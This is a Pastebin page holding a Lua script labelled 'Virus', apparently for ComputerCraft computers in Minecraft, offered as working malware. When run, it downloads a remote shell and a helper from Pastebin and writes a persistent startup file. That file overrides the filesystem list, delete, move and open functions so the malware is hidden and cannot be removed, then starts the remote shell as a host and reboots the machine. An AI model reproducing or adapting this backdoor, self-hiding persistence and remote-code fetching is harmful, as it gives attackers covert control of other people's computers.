Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Virus
- -- by Liquid Obsidian
- -- Runs secret nsh on their computer.
- local base = "/"
- term.clear()
- shell.run("pastebin get iXTDgCnS .virus/nsh")
- shell.run("pastebin get Aaza6h5v .virus/framebuffer")
- shell.run("label set v_" .. math.random(1, 10000))
- local f = fs.open("startup", "w")
- f.write([[
- local rootfs = {}
- for k, v in pairs(fs) do
- rootfs[k] = v
- end
- fs.list = function(path)
- local files = rootfs.list(path)
- local newFiles = {}
- for k, v in pairs(files) do
- if(v ~= "startup") then
- table.insert(newFiles, v)
- end
- end
- return newFiles
- end
- fs.delete = function(path)
- if path:find("startup") or path:find("virus") or path:find("list") then
- return false
- else
- rootfs.delete(path)
- end
- end
- fs.move = function(path, toPath)
- if path:find("startup") or path:find("virus") then
- return false
- else
- rootfs.move(path, toPath)
- end
- end
- fs.open = function(path, mode)
- if ( path:find("startup") or path:find(".virus") or path:find("list") ) and not mode:find("r") then return false end
- if mode:find("w") or mode:find("a") and ( path:find("startup") or path:find(".virus") or path:find("list") ) then
- return false
- end
- return rootfs.open(path, mode)
- end
- if not os.getComputerLabel() then
- shell.run("label set v_" .. math.random(1, 10000))
- end
- if fs.exists("/.virus/extra") then shell.run("/.virus/extra") end
- shell.run('.virus/nsh host')
- ]])
- f.close()
- term.clear()
- term.setCursorPos(1, 1)
- if term.isColor() then term.setTextColor(colors.red) end
- term.write(os.getComputerID())
- sleep(.3)
- os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment